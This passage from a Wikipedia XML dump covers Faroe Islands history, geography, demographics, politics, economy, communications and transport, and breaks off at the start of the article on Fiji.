Early in the [[11th century]] Sigmund or [[Sigmundur Brestisson]], whose family had flourished in the southern islands but had been almost exterminated by invaders from the northern, was sent from Norway, whither he had escaped, to take possession of the islands for [[Olaf Tryggvason]], king of Norway. He introduced Christianity, and, though he was subsequently murdered, Norwegian supremacy was upheld and continued until 1380, when the islands became part of the double monarchy Denmark/Norway. The islands were still a possession of the norwegian crown since the crowns had not been joined. In [[1380]] the Alþting was renamed the [[Løgting]], though it was by now little more than a law court.

== Foreign commercial interest: 14th century to Second World War ==


The 14th century saw the start of what would prove to be a long era of foreign enroachment in the Faroese economy. At this time trading regulations were set up so that all Faroese commerce had to pass through [[Bergen, Norway|Bergen]], Norway in order to collect customs tax. Meanwhile, the [[Hanseatic League]] was gaining in power, threatening Scandinavian commerce. Though Norway tried to halt this process it was forced to relent after the [[Black Death]] decimated its population.

[[England|English]] adventurers gave great trouble to the inhabitants in the [[16th century]], and the name of [[Magnus Heinason]], a native of [[Streymoy]], who was sent by [[Frederick II of Denmark and Norway|Frederick II]] to clear the seas, is still celebrated in many songs and stories. 

In [[1535]] [[Christian III of Denmark|Christian III]] tried to wrest power from King [[Christian II]]. Several of the powerful German companies backed Christian II, but he eventually lost power. The new King Christian III gave the German trader [[Thomas Köppen]] exclusive trading rates in the [[Faroes]]. These rights were subject to the following conditions: only good quality goods were to be supplied by the Faroese and were to be made in numbers proportionate to the rest of the market; the goods were to be brought at their market value; and the traders were to deal fairly and honestly with the Faroese. 

Christian III also introduced [[Lutheran Protestantism]] to the Faroes, to replace [[Catholicism]]. This process took five years to complete, in which time Danish was used instead of [[Latin]] and church property was transferred to the state. The bishopric at Kirkjubøur, south of [[Torshavn|Tórshavn]], where remains of the cathedral may be seen, was also abolished.

After Köppen, others took over the trading monopoly, though the economy suffered as a result of the war between Denmark and Sweden. During this period of the monopoly most Faroese goods ([[wool]] products, fish, meat) were taken to the [[Netherlands]] where they were sold at pre-determined prices. However, the guidelines of the trading agreement were often ignored or corrupted. This caused delays and shortages in Faroese supplies. Subsequently they produced poorer quality goods, and received poorer quality goods themselves. With the trading monopoly nearing collapse smuggling and piracy were rife. Denmark tried to solve the problem by giving the Faroes to [[Christoffer von Gabel]] (and later on his son, Frederick) as a personal feudal estate. However, von Gabel was harsh and repressive, breeding much resentment from the Faroese. This caused Denmark, in the [[17th century]], to take the islands and trading monopoly back themselves. However, they too struggled to keep the economy going, and many merchants were running at a loss. Finally, on the 1st January [[1856]] the trading monopoly was abolished.

[[Denmark]] retained possession of the [[Faroes]] at the [[Peace of Kiel]] in [[1814]], but lost [[Norway]].

In [[1816]] the [[Løgting]] (the Faroese parliament) was officially abolished and replaced by a Danish judiciary. Danish was introduced as the main language, whilst Faroese was discouraged. In [[1849]] a new constitution came into power in Denmark. This new constitution was announced in the Faroes in 1850, giving the Faroese two seats in the [[Rigsdag]] (Danish parliament). However, the Faroese managed to re-establish the [[Løgting]] as a county council with an advisory role in 1952, with many people hoping to eventually achieve independence. The late 1800's saw increasing support for the home rule/independence movement, though not all people supported it. Meanwhile, the Faroese economy was growing with the introduction of large-scale fishing. The Faroese were allowed access to the large Danish waters in the North Atlantic. Living standards subsequently improved and there was a population increase. Faroese became a standardised written language in [[1890]].

During the [[World War II|Second World War]] Denmark was invaded and occupied by [[Nazi Germany]]. The [[Great Britain|British]] subsequently took control of the Faroes to stop the same thing happening to the Faroes and thus losing important shipping lines. The [[Løgting]] was set up as a legislative body, with a Danish prefect retaining executive power. The Faroese [[Merkið|flag]] was recognized by British authorities. Some people tried to declare complete independence in this period.

== Post-WWII: Home Rule ==
A high degree of self-governance was attained in [[1948]] with the passing of the Act of Faroese Home Rule. Faroese was now an official language, though Danish is still taught as a second language in schools. The Faroese [[Merkið|flag]] was also officially recognised by Danish authorities.

In [[1973]] Denmark joined the [[European Community]] (now European Union). The Faroes refused to join, mainly over the issue of fishing limits.

The 1980's saw an increase in support for Faroese independence. Unemployment was very low, and the Faroese were enjoying one of the world's highest standards of living. The Faroese economy though was almost entirely reliant on fishing. The early 1990's saw a dramatic slump in fish stocks, which were being overfished with new high-tech equipment. During the same period the government was also enagaged in massive overspending, associated with the [[Big 80s]]. National debt was now at 9.4 billion Danish krones (DKK). Finally, in October [[1992]], the Faroese national bank (Sjóvinnurbankin) called in receivers and were forced into asking Denmark for a broad financial bailout. The initial sum was 500 million DKK, though this enetually grew to 1.8 billion DKK (this was in addition to the annual grant of 1 billion DKK). Austerity measures were introduced: public spending was cut, there was a [[tax]] and [[VAT]] increase and public employees were given a 10% wage-cut. Much of the fishing industry was put into recievership, with talk of cutting down on the number of fish-farms and ships.

It was during this period  that many Faroese (6%) decided to emigrate, mainly to Denmark. Unemployment rose, up to as much as 20% in [[Tórshavn]], with it being higher in the outlying islands.
In [[1993]] the Sjóvinnurbankin merged with the Faroes second largest bank, Føroya Banki. A third was declared bankrupt and folded. Meanwhile, there was a growing international boycott of Faroese produce over the [[grindadráp]] (whaling) issue. The independence movement dissolved on the one hand while Denmark found itself left with the Faroe Islands' unpaid bills on the other. 

The measures largely worked. Unemployment peaked in January [[1994]] at 26%, since which it fell (10% in mid-[[1996]], 5% in April [[2000]]). The fishing industry was not curtailed as much as was being considered, so it survived largely intact. Fish stocks also rose, with the annual catch being 100,000 in 1994, to 150,000 in [[1995]]. In [[1998]] it was 375,000. Emigration also fell to 1% in 1995, and there was a small population increase in 1996. Oil has been discovered nearby as well. By the early 2000's, weakness in the Faroese economy had been eliminated and, accordingly, many minds turned once again to the possibility of independence from Denmark. However, a planned referendum on a roadmap towards independence in [[2001]] was called off following Danish Prime Minister [[Poul Nyrup Rasmussen]] saying that Danish money grants would be phased out within four years if there was a 'yes' vote.

The Faroese ethnic group is of primarily norse viking descent or irish.

== See also ==
* [[Timeline of the Faroe Islands]]

== External links ==

* [http://www.historyofnations.net/europe/faroeislands.html History of Faroe Islands] - Information on the history of the Faroe Islands from the 9th Century to the present.

[[Category:History of Europe|Faroe Islands]]
[[Category:History of the Faroe Islands|History of the Faroe Islands]]

[[da:Færøernes historie]]
[[de:Geschichte der Färöer]]
[[fo:Føroya søga]]
[[sv:Färöarnas historia]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of the Faroe Islands</title>
    <id>10699</id>
    <revision>
      <id>35991286</id>
      <timestamp>2006-01-20T19:31:55Z</timestamp>
      <contributor>
        <username>Gaius Cornelius</username>
        <id>293907</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] delete duplicated word &quot;or&quot;.</comment>
      <text xml:space="preserve">[[Image:Faroes030417-nasa(2).jpg|thumb|Faroe Islands NASA satellite image]]
[[Image:Beinisvord, westcoast of suduroy, faroe islands.JPG|thumb|View of the westcoast of [[Suðuroy]]]]

The [[Faroe Islands]] are an [[island]] group off the coast of Northern [[Europe]], between the [[Norwegian Sea]] and the north [[Atlantic Ocean]], about one-half of the way from [[Iceland]] to [[Norway]]. Its coordinates are 
{{coor d|62|N|7|W|}}. It is 1,399 square kilometres in area, and includes no major lakes or rivers. There are 1,117 kilometres of coastline, and no land boundaries with any other country. 

The Faroe Islands generally have cool summers and mild winters, with a usually overcast sky and frequent [[fog]] and heavy [[wind]]s. Although at a high latitude, due to the [[Gulf Stream]], their climate is ameliorated. The islands are rugged and rocky with some low peaks; the coasts are mostly bordered by cliffs. The Faroes are notable for having the highest sea cliffs in Europe, and some of the highest in the world otherwise. The lowest point is at [[sea level]], and the highest is at [[Slættaratindur]], which is 882 metres above sea level. The landscape made roadbuiling difficult, and only recently has this been remedied by building tunnels.

Many of the Faroese islands tend to be long and thin. Their appearance on a map has been likened by some to sliced bread. 

[[Natural resource]]s include [[fish]], [[whale]]s and [[hydropower]].

== Statistics ==
; Location:
: Northern [[Europe]], island group between [[Norway]] and [[Iceland]] in [[Atlantic Ocean]], north of the [[United Kingdom]]. 
; [[Geographic coordinates]]:
:* {{coor dm|62|00|N|06|47|W|type:country}}
:* North: Enniberg, 62°29′,2 N
:* South: Sumbiarsteinur, 61°21′,6 N
:* West: Gáadrangur, 7°40′,1 W
:* East: Stapi, 6°21′,5 W
; Map references:
: [[Europe]]
; Area:
:* Total: 1,399 [[Square kilometre|km²]]
:* Land: 1,399 km²
:* Water: 0 km² (some lakes and streams)
; Area--comparative:
: Eight times the size of Washington, DC 
; Land boundaries:
: 0 km
; Coastline:
: 1,117 km
; Maritime claims:
:* Continental shelf: 200 [[nautical mile]]s (370 km) or agreed boundaries or median line
:* Exclusive economic zone: 200 nautical miles (370 km) or agreed boundaries or median line
:* Territorial sea: 3 nautical miles (6 km)
; Climate:
: Temperate; moderated by [[North Atlantic drift|North Atlantic Current]]; mild, windy winters; cool summers, damp in the South and West. Arctic climate in some mountains.
; Terrain:
: Rugged, rocky, some low peaks; cliffs along most of coast. The coasts are deeply indented with fjords, and the narrow passages between islands are agitated by strong tidal currents. 
; Elevation extremes:
:* Lowest point: [[Atlantic Ocean]] 0 m
:* Highest point: [[Slættaratindur]] 882 m
; Natural resources:
: [[Fish]], [[Whale|Whales,]] [[hydropower]], possible [[petroleum]] and [[gas]].
; Land use:
:* Arable land: 2.14%
:* Permanent crops: 0%
:* Other: 97.86% (2001 est.)
; Irrigated land:
: 0 km²
; Natural hazards:
: NA
; Environment--current issues:
: NA
; Environment--international agreements:
: NA
; Geography--note:
: Archipelago of 17 inhabited islands and one uninhabited island, and a few uninhabited islets; strategically located along important sea lanes in northeastern [[Atlantic]]; precipitous terrain limits habitation to small coastal lowlands. 

== See also ==
* [[List of islands of the Faroe Islands]]
* [[Various maps of the Faroe Islands]]

== References ==
* '''&quot;Faroe Islands&quot;''' ''World Fact Book 2004'', ''CIA,'' Washington.

[[Category:Geography of Denmark| ]]
[[Category:Geography of the Faroe Islands| ]]

[[de:Geologie und Geographie der Färöer]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of the Faroe Islands</title>
    <id>10700</id>
    <revision>
      <id>32889217</id>
      <timestamp>2005-12-27T16:59:51Z</timestamp>
      <contributor>
        <username>BrianBird</username>
        <id>602480</id>
      </contributor>
      <comment>This is no stub but the data needs updating</comment>
      <text xml:space="preserve">[[Image:Faroe-islands-demography.png|thumb|550px|center|Demographics of the Faroe Islands, Data of [[FAO]], year 2005 ; Number of inhabitants in thousands.]]
'''Population:'''
48,700 (July 2004 est.)

'''Age structure:'''
&lt;br&gt;''0-14 years:''
23% (male 5,233; female 5,163)
&lt;br&gt;''15-64 years:''
63% (male 15,270; female 13,382)
&lt;br&gt;''65 years and over:''
14% (male 2,788; female 3,460) (2000 est.)

'''Population growth rate:'''
0.83% (2000 est.)

'''Birth rate:'''
13.58 births/1,000 population (2000 est.)

'''Death rate:'''
8.7 deaths/1,000 population (2000 est.)

'''Net migration rate:'''
3.38 migrant(s)/1,000 population (2000 est.)

'''Sex ratio:'''
&lt;br&gt;''at birth:''
1.05 male(s)/female
&lt;br&gt;''under 15 years:''
1.01 male(s)/female
&lt;br&gt;''15-64 years:''
1.14 male(s)/female
&lt;br&gt;''65 years and over:''
0.81 male(s)/female
&lt;br&gt;''total population:''
1.06 male(s)/female (2000 est.)

'''Infant mortality rate:'''
6.94 deaths/1,000 live births (2000 est.)

'''Life expectancy at birth:'''
&lt;br&gt;''total population:''
78.43 years
&lt;br&gt;''male:''
74.96 years
&lt;br&gt;''female:''
81.92 years (2000 est.)

'''Total fertility rate:'''
2.32 children born/woman (2000 est.)

'''Nationality:'''
&lt;br&gt;''noun:''
[[Faroese people|Faroese]] (singular and plural)
&lt;br&gt;''adjective:''
Faroese

'''Ethnic groups:'''
[[Scandinavia]]n (Faroese, [[Danish people|Danish]])

'''Religions:'''
[[Lutheran]]

'''Languages:'''
[[Faroese language|Faroese]] (derived from [[Old Norse]]), [[Danish language|Danish]]

'''Literacy:'''
&lt;br&gt;''definition:''
NA
&lt;br&gt;''total population:''
NA%
&lt;br&gt;''male:''
NA%
&lt;br&gt;''female:''
NA%
&lt;br&gt;''note:''
similar to [[Denmark]] proper

{| cellspacing=&quot;0&quot; cellpadding=&quot;5&quot; border=&quot;1&quot; align=&quot;center&quot;
!Name
!Area
!Inhabitants
!People per km²
!Main places
!Regions
|-
|[[Streymoy]]
|373.5
|21,717
|57.4
|[[Tórshavn]] and [[Vestmanna]]
|Tórshavn and rest of Streymoy
|-
|[[Eysturoy]]
|286.3
|10,738
|37
|[[Fuglafjørður]] and [[Runavík]]
|North Eysturoy and South Eysturoy
|-
|[[Vágar]]
|177.6
|2,856
|15.7
|[[Míðvágur]] and [[Sørvágur]]
|Vágar
|-
|[[Suðuroy]]
|166
|5,074
|30.9
|[[Tvøroyri]] and [[Vágur]]
|Suðuroy
|-
|[[Sandoy]]
|112.1
|1,428
|12.4
|[[Sandur]]
|Sandoy
|-
|[[Borðoy]]
|95
|5,030
|52.4
|[[Klaksvík]]
|Klaksvík and rest of northern Faroes ([[Norðoyar]])
|-
|[[Viðoy]]
|41
|605
|15
|[[Viðareiði]]
|[[Norðoyar]]
|-
|[[Kunoy]]
|35.5
|135
|3.8
|Kunoy
|[[Norðoyar]]
|-
|[[Kalsoy]]
|30.9
|136
|4.8
|[[Mikladalur]] and [[Húsar]]
|[[Norðoyar]]
|-
|[[Svínoy]]
|27.4
|58
|2.7
|Svínoy
|[[Norðoyar]]
|-
|[[Fugloy]]
|11.2
|46
|4
|[[Kirkja]]
|[[Norðoyar]]
|-
|[[Nólsoy]]
|10.3
|262
|26.1
|Nólsoy
|[[Streymoy]]
|-
|[[Mykines]]
|10.3
|19
|2
|Mykines
|[[Vágar]]
|-
|[[Skúvoy]]
|10
|61
|5.7
|Skúvoy
|[[Sandoy]]
|-
|[[Hestur]]
|6.1
|40
|7.1
|Hestur
|[[Streymoy]]
|-
|[[Stóra Dímun]]
|2.7
|7
|1.9
|Dímun
|[[Sandoy]]
|-
|[[Koltur]]
|2.5
|2
|0.8
|Koltur
|[[Streymoy]]
|-
|[[Lítla Dímun]]
|0.8
|0
|0
|–
|[[Sandoy]]
|}

==See also==
* [[Faroe Islands]]
* [[List of Faroese people]]

[[Category:Faroe Islands]]

[[fr:Démographie des îles Féroé]]
[[he:אוכלוסיית איי פארו]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of the Faroe Islands</title>
    <id>10701</id>
    <revision>
      <id>36143469</id>
      <timestamp>2006-01-21T23:19:08Z</timestamp>
      <contributor>
        <username>Electionworld</username>
        <id>201260</id>
      </contributor>
      <comment>It is not about Politics of Denmark, changed intro</comment>
      <text xml:space="preserve">{{Politics of the Faroe Islands}}
'''Politics of the [[Faroe Islands]]''' takes place in a framework of a [[parliamentary system|parliamentary]] [[representative democracy|representative democratic]] [[dependency]], whereby the [[Prime Minister of the Faroe Islands]] is the [[head of government]], and of a pluriform multi-party system. The [[Faroe Islands]] are part of the Kingdom of [[Denmark]], but have been self-governing since [[1948]]. [[Executive power]] is exercised by the government. [[Legislative power]] is vested in both the [[government]] and the [[Løgting]]. 
The [[Judiciary]] is independent of the executive and the legislature and the responsibility of Denmark. 
There are currently 36 municipalities.

==Executive branch==
{{office-table}}
|High Commissioner
|[[Birgit Kleis]]
|
|[[2001]]
|-
|[[Prime Minister of the Faroe Islands|Prime Minister]]
|[[Jóannes Eidesgaard]]
|
|[[4 February]] [[2004]]
|}
The high commissioner is appointed by the [[Queen of Denmark]]. Following legislative elections, the leader of the party that wins the most seats is usually elected prime minister by the Faroese Parliament. He leads the Landsstyri elected by the [[Faroese Parliament]].

==Legislative branch==
The '''[[Løgting|Faroese Parliament]]''' (''Løgtingið in [[Faroese_language|Faroese]]'') has up to 32 MP's(member of parliament), elected for a four year term by [[proportional representation]].

Election of 2 seats to the Danish Parliament was last held on [[8 February]] [[2005]]: Republican Party 1, People's Party 1.

== Political parties and elections ==
{{elect|List of political parties in the Faroe Islands|Elections in the Faroe Islands}}
The Faroe Islands have a [[multi-party]] system (disputing on independence and unionism as well as left and right), with numerous [[political parties|parties]] in which no one party often has a chance of gaining power alone, and [[political parties|parties]] must work with each other to form [[coalition government]]s.The Faroese Parliament ([[Løgting]]) has 27 - 32 seats. Members are elected by popular vote on a proportional basis from the seven constituencies to serve four-year terms. 
{{Faroe legislative election, 2004}}

==International affairs==

The islands participate in the [[Nordic Council]], NIB, [[International Maritime Organization]], [[International Whaling Commission]]
&lt;br&gt;[http://www.faroeislands.org.uk/Default.asp?d=8D6305E5-11A4-4D39-8262-8A7B41E1F330 Complete list]

[[Category:Politics of the Faroe Islands| ]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of the Faroe Islands</title>
    <id>10702</id>
    <revision>
      <id>32888610</id>
      <timestamp>2005-12-27T16:53:14Z</timestamp>
      <contributor>
        <username>BrianBird</username>
        <id>602480</id>
      </contributor>
      <text xml:space="preserve">'''Economy - overview:'''
After the severe economic troubles of the early 1990's, brought on by a drop in the vital [[fish]] catch, the [[Faroe Islands]] have come back in the last few years, with unemployment down to 5% in mid-1998. Nevertheless, the almost total dependence on fishing means the economy remains extremely vulnerable. The Faroese hope to broaden their economic base by building new fish-processing plants. [[Petroleum]] finds close to the Faroese area give hope for deposits in the immediate area, which may lay the basis to sustained economic prosperity. The Faroese are supported by a substantial annual subsidy from [[Denmark]].

'''[[Gross domestic product|GDP]]:'''
purchasing power parity - $700 million (1996 est.)

'''GDP - real growth rate:'''
6% (1996 est.)

'''GDP - per capita:'''
purchasing power parity - $16,000 (1996 est.)

'''GDP - composition by sector:'''
&lt;br&gt;''agriculture:''
20%
&lt;br&gt;''industry:''
16%
&lt;br&gt;''services:''
64% (1996 est.)

'''Population below poverty line:'''
NA%

'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:''
NA%
&lt;br&gt;''highest 10%.:''
NA%

'''Inflation rate (consumer prices):'''
2.8% (1996 est.)

'''Labor force:'''
20,500 (1996 est.)

'''Labor force - by occupation:'''
largely engaged in fishing, manufacturing, transportation, commerce

'''Unemployment rate:'''
5% (1998 est.)

'''Budget:'''
&lt;br&gt;''revenues:''
$467 million
&lt;br&gt;''expenditures:''
$468 million, including capital expenditures of $11 million (1996 est.)

'''Industries:'''
[[fishing]], [[shipbuilding]], construction, [[handicrafts]]

'''Industrial production growth rate:'''
NA%

'''Electricity - production:'''
186 GWh (1998)

'''Electricity - production by source:'''
&lt;br&gt;''fossil fuel:''
53.76%
&lt;br&gt;''hydro:''
45.7%
&lt;br&gt;''nuclear:''
0%
&lt;br&gt;''other:''
0.54% (1998)

'''Electricity - consumption:'''
173 GWh (1998)

'''Electricity - exports:'''
0 kWh (1998)

'''Electricity - imports:'''
0 kWh (1998)

'''Agriculture - products:'''
[[milk]], [[potato]]es, [[vegetable]]s; [[domestic sheep|sheep]]; [[salmon]], other [[fish]]

'''Exports:'''
$362 million (f.o.b., 1995)

'''Exports - commodities:'''
fish and fish products 92%, animal feedstuffs, transport equipment (ships)

'''Exports - partners:'''
[[Denmark]] 31%, [[United Kingdom]] 25%, [[Germany]] 9%, [[France]] 7%, [[Spain]] 6%, [[United States]] 2% (1996)

'''Imports:'''
$315.6 million (c.i.f., 1995)

'''Imports - commodities:'''
machinery and transport equipment 17.0%, consumer goods 33%, raw materials and semi-manufactures 26.9%, [[fuels]] 11.4%, [[fish]] and [[salt]] 6.7%

'''Imports - partners:'''
[[Denmark]] 33%, [[Norway]] 18%, [[United Kingdom]] 8% [[Germany]] 9%, [[Sweden]] 5%, [[United States]] 2% (1996)

'''Debt - external:'''
$767 million (1995 est.)

'''Economic aid - recipient:'''
$150 million (annual subsidy from [[Denmark]]) (1995)

'''Currency:'''
1 Danish krone (DKr) = 100 oere

'''Exchange rates:'''
Danish kroner (DKr) per US$1 - 7.336 (January 2000), 6.976 (1999), 6.701 (1998), 6.604 (1997), 5.799 (1996), 5.602 (1995)

'''Fiscal year:'''
calendar year

[[Category:Faroe Islands]]
[[Category:Economies by country|Faroe Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in the Faroe Islands</title>
    <id>10703</id>
    <revision>
      <id>28153746</id>
      <timestamp>2005-11-12T23:18:18Z</timestamp>
      <contributor>
        <username>Caerwine</username>
        <id>347371</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Unreferenced}}

'''[[Telephone]]s - main lines in use:'''
22,000 (1995)

'''Telephones - mobile cellular:'''
35,000 (2004) est.

'''Telephone system:'''
good international communications; good domestic facilities
&lt;br&gt;''domestic:''
digitalization was to have been completed in [[1998]]
&lt;br&gt;''international:''
[[satellite]] earth stations - 1 Orion; 2 fiber-optic submarine cable linking the [[Faroe Islands]] with [[Denmark]], [[Iceland]] and [[Scotland]]

'''[[Radio]] [[broadcasting|broadcast]] stations:'''
AM 1, FM 13, shortwave 0 (1998)

'''Radios:'''
26,000 (1997)

'''[[Television]] broadcast stations:'''
7 (plus 51 low-power repeaters) (September 1995)

'''Televisions:'''
15,000 (1997)

'''[[Internet Service Provider]]s (ISPs):'''
DataNet[http://www.datanet.fo]
El &amp; Tele[http://www.eltele.fo]
Føroya Tele[http://www.ft.fo] 
Kall[http://www.kall.fo]
Teletech[http://www.teletech.fo]

'''[[Country code top-level domain|Country code (TLD)]]:''' FO


{{Faroe-stub}}

[[Category:Communications by country|Faroe Islands]]
[[Category:Faroe Islands]]

[[he:תקשורת באיי פארו]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in the Faroe Islands</title>
    <id>10704</id>
    <revision>
      <id>31717259</id>
      <timestamp>2005-12-17T09:59:13Z</timestamp>
      <contributor>
        <username>Woohookitty</username>
        <id>159678</id>
      </contributor>
      <comment>/* History */ linked Faroese</comment>
      <text xml:space="preserve">== History ==
The general history of the [[Faroe Islands|Faroese]] transportation-system can be summed up into 4 general periods: 
*In the first period stretching from the feudal era into the beginning of the 20th century transportation was made mainly by a combination of rowboats and walking/carrying - including horse-transport in certain places and upper social classes.
*In the second period, starting in the late 19th century the ferry-connections start to emerge. First through private initiatives and in the 20th century increasingly transforming into public transport further supplemented by the emerging automobilism, especially during and between the two world wars. After World War II a large part of the Faroe Islands was reachable through a combination of ferries and automobiles - frequently private buses and taxis.
*The third period included a modernization of the ferries, introducing the car-ferries, making it possible to drive between the large centres of the country. Soon it would be possible to drive all the way from the capital of [[Tórshavn]] to [[Vágur]] and [[Tvøroyri]] in the south, to [[Fuglafjørður]] and [[Klaksvík]] in the north and to the airport at [[Sørvágur]] in the west, that was established by the British during the 2nd world war. During this second period the road network was further extended and supplemented by tunnels to distant valleys and firths such as [[Hvalba]], [[Sandvík]] and [[Norðdepil]] in the 1960s. Thus the third period stretches from the 2nd world war to around 1970.
*The fourth period starts a completely new development. In the 1973 the first solid connections between two islands was established between [[Norðskála]] on [[Eysturoy]] and [[Nesvík]] on [[Streymoy]]. In 1976 the new tunnel between [[Norðskála]] and the rest of [[Eysturoy]] was established, and together with the bridge this meant that the two largest islands were suddenly connected into what is now referred to as &quot;Meginlandið&quot; - (the Mainland). In 1975 the &quot;bridge&quot; between [[Viðoy]] and [[Borðoy]] was established, and in 1986 the &quot;bridge&quot; between [[Borðoy]] and [[Kunoy]] was established, and in 1992 the capital [[Tórshavn]] was granted a 1st class connection to the northern parts of the country, creating the infrastructural prepositions for a new mobile society on the Mainland. The newest developments of the Faroese transportation network are the sub-sea tunnels. In 2002 the tunnel between [[Streymoy]] and [[Vágar]] - the last is the airport-island - was finished, and in 2006 the tunnel between [[Eysturoy]] and [[Borðoy]] will be finished. In 2006 more than 85% of the Faroese population will be mutually reachable by automobile.

The main problem of the Faroe Islands is therefore not the internal transportation-network, but rather the external transport-possibilities. There are practically no other travel- or freight-possibilities but ships and airplanes. This means that export of domestically produced commodities is very expensive harming the development of a commodity-based economy.

== [[Railway]]s ==
There are no railways on the Faroe Islands, due to the difficult landscape and the relatively short distances. Instead roads have become the main [[transport]] artery of the society.

== [[Highway]]s ==
''total:'' 458 km (1995 est.)
:''paved:'' 450 km
:''unpaved:'' 8 km

== Ports and [[harbor]]s ==
* [[Torshavn]]
* [[Klaksvik]]
* [[Tvøroyri]]
* [[Runavík]]
* [[Fuglafjørður]]

== [[Merchant marine]] ==
''total:'' 6 ships (1,000 GRT or over) totaling 22,853 GRT/13,481 DWT (1999 est.)
:''ships by type:'' cargo 2, petroleum tanker 1, refrigerated cargo 1, roll-on/roll-off 1, short-sea passenger 1

== [[Airport]]s ==
1 ([[Vágar Airport]]) (2005)
:Airports - with paved runways
:''total:'' 1
::''914 to 1,523 m:'' 1

== See also ==
* [http://landsverk.fo/Default.asp?sida=709 Map of Transportation net]
* [[Tunnels of the Faroes]]
[[Category:Faroe Islands]]

[[he:תחבורה באיי פארו]]</text>
    </revision>
  </page>
  <page>
    <title>Military of the Faroe Islands</title>
    <id>10705</id>
    <revision>
      <id>29078031</id>
      <timestamp>2005-11-23T19:44:29Z</timestamp>
      <contributor>
        <username>CDN99</username>
        <id>97002</id>
      </contributor>
      <comment>redirected</comment>
      <text xml:space="preserve">#REDIRECT [[Faroe Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Fiji</title>
    <id>10707</id>
    <revision>
      <id>42081438</id>
      <timestamp>2006-03-03T18:23:36Z</timestamp>
      <contributor>
        <username>ChromiumCurium</username>
        <id>878771</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{For|the fraternity|Phi Gamma Delta}}
{| border=1 align=right cellpadding=4 cellspacing=0 width=300 style=&quot;margin: 0 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;big&gt;'''Republic of the Fiji Islands&lt;br&gt;Matanitu Tu-Vaka-i-koya ko Viti'''&lt;/big&gt;
| align=&quot;center&quot; colspan=&quot;2&quot;|
{| border=0 cellpadding=2 cellspacing=0 style=&quot;background:#f9f9f9; text-align:center;&quot;
| width=&quot;130px&quot;| [[Image:Flag of Fiji.svg|125px|Flag of Fiji]] || align=center width=130px| [[Image:fij-coa.gif|125px|Coat of Arms of Fiji]]
|- 
|  width=&quot;130px&quot; | ([[Flag of Fiji|In Detail]])
|  width=&quot;130px&quot; | ([[Coat of Arms of Fiji|In Detail]])
|}
|- 
| align=center colspan=2 | &lt;small&gt;''National [[motto]]: Rerevaka na Kalou ka Doka na Tui&lt;BR&gt; ([[English language|English]]: Fear God and honour the Queen)''&lt;/small&gt;
|- 
| align=center colspan=2 style=&quot;background:#f9f9f9;&quot; | [[image:LocationFiji.png|Location of Fiji]]
|- 
| '''[[Official language]]s''' || [[English language|English]], [[Fijian language|Bau Fijian]], and [[Hindustani language|Hindustani]] ([[Hindi language|Hindi]]/[[Urdu language|Urdu)]]
|- 
| '''[[Religion]]''' || [[Christianity]], [[Hinduism]], [[Islam]]
|-
| '''[[Capital]]''' || [[Suva]]
|-
| '''Largest City''' || Suva
|- 
| '''[[List of Presidents of Fiji|President]]''' || [[Josefa Iloilo|Ratu Josefa Iloilo]]
|- 
| '''[[List of Prime Ministers of Fiji|Prime Minister]]''' || [[Laisenia Qarase]]
|- 
| '''[[List of Chairmen of the Great Council of Chiefs (Fiji)|Chairman]] [[Great Council of Chiefs (Fiji)|Great Council of Chiefs]]''' || [[Ovini Bokini|Ratu Ovini Bokini]]
|- 
| '''[[List of Great Chiefs of Fiji|Great Chief]] [[Great Council of Chiefs (Fiji)|Great Council of Chiefs]]''' || [[Elizabeth II of the United Kingdom|Queen Elizabeth II]] &lt;sup&gt;&amp;dagger;&lt;/sup&gt;
|- 
| '''[[Area]]'''&lt;br&gt;&amp;nbsp;- Total &lt;br&gt;&amp;nbsp;- % freshwater
| [[List of countries by area|Ranked 151st]] &lt;br&gt; [[1 E11 m²|18,270 km²]] &lt;br&gt; negligible
|- 

|-
|'''[[Population]]''' &lt;br&gt;&amp;nbsp;- Total ([[2005]]) &lt;br&gt;&amp;nbsp;- [[Population density|Density]]
|[[List of countries by population|Ranked 153rd]] &lt;br&gt;893,354&lt;br&gt;49/km&amp;sup2;
|-
|'''[[Human Development Index|HDI]]''' ([[2003]]) || 0.752 ([[List of countries by Human Development Index|92nd]]) – &lt;font color=&quot;#FFCC00&quot;&gt;medium&lt;/font&gt;
|- 
| '''[[Independence]]''' || [[10 October]] [[1970]]
|- 
| '''[[Currency]]''' || [[Fijian dollar]]
|- 
| '''[[Time zone]]''' || [[Coordinated Universal Time|UTC]] + 12
|- 
| '''[[National anthem]]''' || [[God Bless Fiji]]
|- 
| '''[[Top-level domain|Internet TLD]]''' || [[.fj]]
|- 
| '''[[List of country calling codes|Calling Code]]''' || +679
|-
|colspan=4 | &lt;small&gt;&amp;dagger; - Recognised by Great Council of Chiefs, not repudiated&lt;/small&gt;
|}The '''Republic of the Fiji Islands''', or '''Fiji''', is an [[island nation]] in the South [[Pacific Ocean]], east of [[Vanuatu]], west of [[Tonga]] and south of [[Tuvalu]]. The country occupies an [[archipelago]] of about 322 [[island]]s, of which 106 are permanently inhabited; in addition, there are some 522 [[islet]]s.  The two major islands, [[Viti Levu]] and [[Vanua Levu]], account for some 87 % of the total population. The name Fiji is the old [[Tongan language|Tongan]] word for the islands, which is in turn derived from the [[Fijian language|Fijian]] name ''Viti''.

== History ==
''Main article: [[History of Fiji]]''
[[Image:Urville-Viti-Lebouka2.jpg|thumb|left|[[Levuka]], 1842]]

The first inhabitants of Fiji arrived from [[South East Asia]] long before contact with [[Europe|European]] explorers in the [[17th century]].  [http://humanities.cqu.edu.au/history/52148/modules/pacific_peoplesA.html This academic question] of [[Pacific migration]] still lingers.

